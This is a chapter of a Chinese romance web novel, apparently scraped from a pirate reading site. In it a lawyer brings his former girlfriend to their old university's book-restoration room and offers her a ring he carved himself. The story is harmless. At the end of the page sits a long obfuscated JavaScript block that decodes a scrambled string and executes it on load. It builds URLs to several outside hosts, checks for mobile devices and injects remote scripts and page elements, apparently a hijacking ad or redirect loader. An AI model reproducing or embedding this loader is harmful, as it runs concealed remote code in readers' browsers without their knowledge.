首页
第0322章 图书馆的灯还亮
返回

第0322章 图书馆的灯还亮着

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第0322章图书馆的灯还亮着(第1/2页)
    沈砚舟说,要带她去一个地方。
    林微言以为会是某个新开的餐厅,或者是那条他们走过无数遍的梧桐巷。但她怎么也没想到,车停了之后,窗外是政法大学的旧校区。
    周末的校园很安静,银杏叶铺了一地,踩上去沙沙响。路灯把两个人的影子拉得很长,交叠在一起,又分开,又交叠。沈砚舟走在前面,步子不快,但每一步都踩得很稳,像他做所有事情一样——笃定,从容,从来不回头看一眼。
    但他的手一直往后伸着,掌心朝上,等着她。
    林微言看着那只手,犹豫了两秒钟,把手放上去。
    “你带我来这儿干什么?”
    “到了就知道了。”
    沈砚舟牵着她穿过操场,绕过教学楼,在一栋三层的老建筑前停下来。红砖墙,爬山虎,大门上方刻着四个字——逸夫图书馆。林微言愣住了。她对这栋楼太熟了。五年前,她在这扇门里度过了无数个下午,坐在靠窗的第三排,面前摊着一本待修复的古籍,余光里是沈砚舟低头翻案卷的侧脸。
    “暑假不开放。”她下意识说。
    沈砚舟从口袋里掏出一把钥匙。铜质的,磨得发亮,拴着一条旧红绳。
    “我跟学校申请了。”他推开那扇沉重的木门,侧身让林微言先进去,“古籍修复室在二楼,你以前常待的那间。灯还能亮。”
    林微言站在门口,脚像生了根。门里的空气涌出来,带着旧书和陈年木头的味道,混着一点樟脑丸的苦涩。那股味道太熟悉了,熟悉到她的眼眶一下子就酸了。
    “你什么时候拿的钥匙?”
    “回国第一天。”沈砚舟的声音不高,像怕惊动了什么,“我去见了导师,顺便跟图书馆的周老师聊了聊。周老师还记得你,说你当年修复的那本《花间集》是近十年学生作品里最用心的。他说,你要是想回来看看,随时都可以。”
    林微言没说话。她走进图书馆,手指划过那些落了灰的扶手。一楼的自习室里还亮着几盏应急灯,照出一排排空荡荡的座位。她走到楼梯口,转身往上走。每一步都踩得很慢,像在走一段很长很长的路。
    修复室在二楼走廊尽头。门没锁,沈砚舟替她推开。
    房间不大,二十来个平方,靠墙是一排木架子,摆满了待修复的古籍和工具。窗户朝南,月光从玻璃外面照进来,落在工作台上,把上面的宣纸、毛笔、骨刀都镀了一层银。一切都没变。连工作台旁边那把椅子的位置都没变——是她当年拖过来的那把,椅背上还贴着她写的标签:林微言专用。
    她走过去,手指摸了摸那张标签。纸已经泛黄了,边角卷起来,但字迹还在,一笔一划的瘦金体,是她当年练了很久才敢写上去的。
    “你知不知道,”她的声音有些发颤,“我这五年,最想回来的地方是哪儿?”
    沈砚舟靠在门框上,看着她。
    “不是书脊巷。不是老槐树。是这儿。”林微言转过身,面对着他,“因为这间屋子里没有你跟我说分手的那一天。这里只有你坐在我对面,安安静静翻案卷的样子。”
    月光把她的脸照得很白,眼眶里的泪照得很亮。
    沈砚舟走过去。他没有说话,只是从工作台下面的抽屉里拿出一样东西,放在她面前。一个牛皮纸信封。封面上什么字都没写,但林微言一眼就认出了那个信封的颜色——和她五年前用来装《花间集》修复方案的信封一模一样。
    “打开看看。”沈砚舟说。
    林微言打开信封。里面不是信,而是一张照片。
    照片上是一间书房。准确地说,是她在书脊巷老房子里的书房。书架靠墙,书桌朝窗,桌上摆着她的修复工具和一堆旧书。但这不是她现在的书房——因为照片里那个书架上,每一本书都被重新整理过,按年代排列,书脊朝外,码得整整齐齐。窗台上多了一个青瓷花瓶,插着她最喜欢的栀子花。
    “这是什么时候拍的?”
    “去年秋天。”沈砚舟的声音很低,“你妈让我去给你修水管,你自己忘了。修完之后,我在你书房里站了一会儿。看到你的书架乱了,就帮你理了一下。栀子花是来的路上买的,觉得你窗台上太空了。”
    林微言捏着那张照片,指尖微微发抖。
    “你在我书房里站了多久?”
    “大概四十分钟。”
    “四十分钟。就为了理书架?”
    沈砚舟沉默了一会儿。
    “不只是理书架。”他说,“那时候你还没原谅我。连见面都不肯,电话也拉黑了。我只知道你妈的手机号,每次从你家门口路过,都不敢敲门。那天你妈让我进去,我觉得是老天爷在帮我——终于有个理由,能在你不在的时候,替你理一次书架。”
    林微言把照片放下。她看着沈砚舟的眼睛,那双在法庭上能把任何对手驳得哑口无言的眼睛,此刻干净得像秋天的湖水,什么都藏不住。
    “你那时候为什么不直接来找我?”
    “因为你不让我来。”
    “你可以不管我说什么。你以前从来不把我的拒绝当回事。”
    “那是以前。”沈砚舟低下头,“五年前的事,让我没有资格再硬闯你的世界。我只能等你愿意开门,哪怕开一条缝也行。”
    林微言忽然笑了。那种笑是把眼泪憋回去之后,从嗓子眼里挤出来的笑,又苦又涩。
    “你知道我最恨你什么吗?”
    沈砚舟摇头。
    “我最恨你明明那么好,却非要假装冷酷。明明舍不得我,却要说分手。明明回来了就可以直接告诉我真相,却偏要用修复古籍这种笨办法,一点一点往我的世界里蹭。”她伸出食指戳了戳他的胸口,“你就不能直接说一句‘对不起,我还爱你’吗?”
    沈砚舟沉默了一会儿,然后郑重其事地开口。
    “对不起,我还爱你。”
    林微言愣住了。她没想到他真的会这么直接。这个人从来不会说情话,连表白都要靠行动,今天却这么干脆利落地交了白旗,干脆得让她一时不知道怎么接。
    “你——你怎么忽然这么听话?”
    “你说的。”沈砚舟微微弯了下嘴角,“让我直接说,我就直接说。”
    “那我让你走呢?”
    “不走。”
    “为什么?”
    “因为你刚才说,让我以后别叫你林小姐了。你还让我留在你家吃午饭。你说这些的时候,眼睛没有看我,但耳朵红了。”沈砚舟的语调依旧是陈述事实的语气,像在法庭上列举证据,“我在法庭上观察证人五年,从来没看错过一次。”
    林微言的脸一下子烧起来。她转过身,假装整理工作台上的宣纸,把背对着他。
    “你这个人真的很烦。”
    “我知道。”
    “我不喜欢被人看穿。”
    “我知道。”
    “你能不能不要什么都‘我知道’?”
    “可以。”沈砚舟顿了顿,“但你要先告诉我,你现在心里想的是什么?”
    林微言不说话了。她低头看着手底下的宣纸,纸张在月光下泛着淡淡的黄,像一片被时间浸过的叶子。她想了很久,久到窗外的银杏叶又落了好几片。
    “我在想,如果五年前你没有走,我们会是什么样子。”
    “会很早就结婚。”
    “你怎么知道?”
    “因为戒指我五年前就买好了。”
    林微言猛转过头。沈砚舟还是靠在门框上,姿态懒散,但眼睛里的认真不像开玩笑。
    “你说什么?”
    沈砚舟把手伸进西装内袋,掏了很久——那个口袋很深,他掏了好一会儿,最后摸出来一个黑色的小盒子,递给林微言。
    林微言没接。她看着那个盒子,呼吸变得很轻很轻。
    “打开。”沈砚舟说。
    她打开。里面是一枚戒指。不是很大颗的钻石,是一枚素环铂金,戒面上嵌着一小圈星芒图案,手工雕刻的,线条有些歪歪扭扭,不像是珠宝店卖的成品。
    “我自己刻的。”沈砚舟的声音终于有些不稳了,没有刚才那么从容,“五年前在律所实习,每天下班后去金工店里学雕刻,学了三个月。本来打算在你研究生毕业那天给你。后来没送成。”
    他把戒指从盒子里取出来,放在手心。
    “这些年我搬了很多次家,换了好几个城市,这个盒子一直放在随身的包里。不是为了等有一天给你,而是怕万一哪天我遇到意外,别人收拾遗物时,会把这东西扔了。这是我唯一替你做过的东西。”
    林微言的眼泪终于掉下来了。不是一颗一颗的,是一串一串的,像断了线的珠子,砸在工作台的宣纸上,洇出一个个深色的圆。她哭的时候不出声,只有肩膀在抖,两只手死死抓着工作台的边缘,关节发白。
    沈砚舟没有走过去抱她。他只是把戒指放在工作台上,然后退后一步,留出一个距离。
    那个距离是五年的宽度。
    “我不逼你现在就戴上。”他说,“我把它放在这里。等你什么时候觉得可以了,就自己拿。明天,明年,十年后——只要你还肯回头看这间屋子,戒指就在这张台子上,永远不会被人拿走。”
    林微言没有立刻去拿。她只是看着那枚戒指,看着戒面上的星芒在月光下一明一暗,像某个遥远的星系正在缓慢地旋转。她想起五年前的很多个下午,她坐在这个位置修复古籍,沈砚舟坐在对面翻案卷。阳光从南窗照进来,把他的侧脸映得很柔和。那时候她总觉得这个男孩太安静了,安静到让人不安,像一潭看不见底的深水。后来她才知道,深水之所以深,是因为底下藏着太多不能说出口的东西。
    (本章未完,请点击下一页继续阅读)第0322章图书馆的灯还亮着(第2/2页)
    “沈砚舟。”
    “嗯。”
    “你当年走的时候,有没有想过我会哭?”
    沈砚舟沉默了一会儿。
    “想过。”
    “那你还是走了。”
    “因为当时我觉得,你哭一阵子,总比跟我一起受苦一辈子强。”他说这话的时候语调平稳,但喉结上下滚了两次,像是咽下了什么东西,“后来才知道,人这一辈子,最大的苦不是穷,不是累,是身边没有一个想说话的人。这五年我每打赢一场官司就给你写一封邮件,写完就删,草稿箱里存了三百多封,一封都没发出去。但我把每一封都备份了,存在一个加密的云盘里。密码是你的生日。”
    林微言不知道自己是什么时候走到他面前的。她只记得自己伸出手,碰了碰他的脸——那道在法庭上永远冷峻的面孔,此刻的温度比她想象的要烫。
    “你有没有想过,万一我结婚了怎么办?”
    “想过了。”沈砚舟没有躲开她的手,“如果你结婚了,我就把戒指融了,做成一枚袖扣。你每次出席重要场合,我就戴那颗袖扣,站在角落里,看你一眼。”
    林微言的手顿住了。
    “你这个人真的很傻。”
    “我知道。”
    “你知道什么呀你知道。”她把那只手收回来,胡乱擦了把眼泪,“你什么都知道,就是不知道我当年其实一直在等——等你回头,等你告诉我你后悔了,等你哪怕发一条短信。我换过两次手机号,但每次只换号码不换手机,因为旧手机里有你的通话记录。你说分手那天,跟我打了三十七分钟的电话。我把那条通话记录截了图,存在相册里,五年没删。”
    沈砚舟没有说话。他只是把林微言轻轻拉过来,下巴抵在她的头顶上,闭上了眼睛。
    “三十七分钟。”他重复了一遍。
    “嗯。”
    “我记得那天我在律所,外面下大雨。挂完电话我在窗边站了一夜,第二天发了高烧,住院三天。病历在你右手边的抽屉里,第三个文件夹。”
    林微言愣住了。她低头拉开抽屉,里面确实有一沓文件夹。最上面那个是浅蓝色的,封面什么字都没写。她翻开,第一页就是一份病历的复印件,日期是五年前分手后的第二天。
    她把病历合上,忽然觉得这五年所有的恨和委屈,在这一刻都变得很轻很轻。不是消失了,而是被另一个人的重量压下去了——那个人从来没有比她少痛过一分,他只是选择了不说。
    “沈砚舟。”
    “嗯。”
    “戒指你先收着。”她把那个黑色小盒子拿起来,放到他手心,然后用自己的手把他的手指合上,“不是不接受,是我想在另一个地方戴上。”
    “什么地方?”
    “你先告诉我,除了图书馆修复室,还有没有别的惊喜是我不知道的?”
    沈砚舟想了想。
    “有。”
    “什么?”
    “三年前你修复的那本《楚辞》,在拍卖会上被匿名买家拍走了。买家是你最喜欢的版本学教授,他打算退休后捐给图书馆。拍下之前,我跟他谈了一个条件——修复室靠窗第三排的那个座位,永久保留林微言的名字。”
    林微言张着嘴,半天说不出话。
    “那个教授——你怎么认识他的?”
    “打官司认识的。他的学生侵犯了他的著作权,我帮他打赢了。后来喝庆功酒的时候他说起自己的收藏计划,我就顺嘴提了一句。”沈砚舟的语气轻描淡写,像在说今天早上吃了什么,“他说没问题,但有一个条件——等我将来结婚的时候,一定要送他一幅你在修复《楚辞》时手绘的原谱。”
    “你答应了?”
    “答应了。反正迟早的事。”
    林微言看着他那张波澜不惊的脸,忽然很想笑,又想哭。这个人在法庭上能为了一个条款跟对方纠缠七八个小时,却从来不觉得花三年去求一个座位、花三个月去学金工、花一整夜去理一柜书架有什么大不了的。他做所有事情都是这样——不说,只做。等做完了,也不说,要等你发现。
    “你还做过什么我不知道的事?”
    “很多。”
    “举个例子。”
    “你爸上次住院,周明宇是主治医生,这个你知道。但你不知道的是,当时病房紧张,普通病房排到半个月之后。周明宇打的申请被院里卡了两天,批不下来。”沈砚舟顿了顿,“我有个当事人的公司刚好在那家医院有公益捐赠项目。我不是走后门,只是顺嘴提了一句‘最近医院床位挺紧张’,当事人就去问了一下。第二天,你爸就转到了单人间。周明宇不知道这件事,你爸也不知道,连你妈都不知道。现在只有你知道。”
    林微言沉默了好一会儿。
    “沈砚舟。”
    “嗯。”
    “以后你做这些事,能不能跟我说一声?”
    “不能。”
    “为什么?”
    “因为如果你知道了,就不叫‘默默’了。”他说完,嘴角微微弯了一下。那是今晚的第一个笑,很浅,很淡,像月光落在戒指的星芒上,一闪就过去了。
    林微言看着那个笑,忽然觉得心里某个角落彻底塌了。五年来用冷漠砌起来的墙,在这间亮着灯的修复室里,在这个男人笨拙的笑容面前,全部倒成了一地碎砖。
    她转过身,走到窗前,推开那扇朝南的窗户。夜风灌进来,带着银杏叶的清苦和远处操场上割草机留下的草屑味。她深深吸了一口气,然后回头,看着还站在原地的沈砚舟。
    “明天你有空吗?”
    “有。”
    “陪我去趟潘家园。”
    沈砚舟挑了挑眉。
    “去淘书。”林微言把那张泛黄的工作台标签从椅子上撕下来,叠好,放进自己的口袋里,“修复室里的宣纸需要换了,还有骨刀——那把旧的被你弄丢了一回,这次得买两把备着。另外我还想找一本新版的《古籍修复手册》,我原来那本被你撕过一页。”
    沈砚舟的表情终于出现了一道裂缝。
    “我撕了哪一页?”
    “最后一页。”林微言看着他,眼睛里的泪还没干,但嘴角已经弯起来了,“那一页的背面,我写了你的名字。”
    窗外的银杏树忽然抖了一阵,金黄的叶子哗啦啦落了一地,像是有人在很远的地方鼓掌。沈砚舟站在原地,愣了很久。然后他低下头,看着手里那个黑色的小盒子,慢慢笑了。
    不是那种浅到一闪而过的笑,而是一个真正的、舒展的笑。那个笑容在他的脸上看起来有点陌生,像是某个他丢了五年、今晚刚找回来的东西。
    “明天潘家园,我去。”他把盒子放回西装内袋,忽然又想起了什么,“但是有一个问题。”
    “什么问题?”
    “你那本《花间集》什么时候修好?”
    林微言愣了一下,然后明白了他的意思。
    “快了。等修好的那天,我要跟你换一样东西。”
    “换什么?”
    “不告诉你。”她转过身,推开门,走进走廊里。月光从走廊尽头的窗户照进来,把她的影子铺成一幅长长的水墨画。
    沈砚舟跟在她身后,两个人沿着来时的路走出图书馆。木门在身后轻轻关上,那把铜钥匙在锁孔里转了一圈,发出清脆的响声。
    走廊空了。修复室空了。但窗户还开着,月光落在工作台上,照着那把椅子。椅背上原来的标签被撕走了,现在上面多了两样东西——一枚星芒戒指,和一张手写的纸条。
    纸条是沈砚舟留的,他在关门的最后一刻偷偷放上去的。纸上只有一行字:
    “第三排靠窗,永久保留。等一位林小姐来坐。”
    窗外的银杏叶还在落。有一片飘进窗户,刚好落在纸条上,像一枚金色的镇纸。
    林微言走在下楼的台阶上,忽然停住了。
    “怎么了?”沈砚舟问。
    “忘了拿宣纸。”
    “明天来拿。”
    “明天来的时候,灯还亮着吗?”
    沈砚舟回头看了一眼二楼那扇朝南的窗户。窗户里透出暖黄色的光,在夜色中像一颗不太亮但很固执的星星。
    “亮的。”他说,“这里的灯,永远不会熄。”
    林微言站在台阶上,抬头看着那扇窗户,看了很久。然后她伸手握住沈砚舟的手指,没有十指相扣,只是轻轻搭在上面,像古籍修复中最小心的那个动作——托裱。
    夜风把图书馆门前的银杏叶吹得沙沙响。他们的影子被路灯拉得很长很长,一直延伸到操场的尽头。远处隐隐约约传来钟楼的整点报时,敲了十下。
    林微言忽然想起五年前的一个晚上,她也是这样和他并肩走出这扇门。那时候她问:“你觉得我们以后会是什么样子?”沈砚舟想了想,说:“大概还和现在一样。”
    现在她想,他说的对,也不对。和现在一样——两个人,一前一后,走过同样的银杏树,呼吸同样的夜风,心跳同一个频率。但不一样的是,这一次,他们之间没有隔着一扇即将关闭的门。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();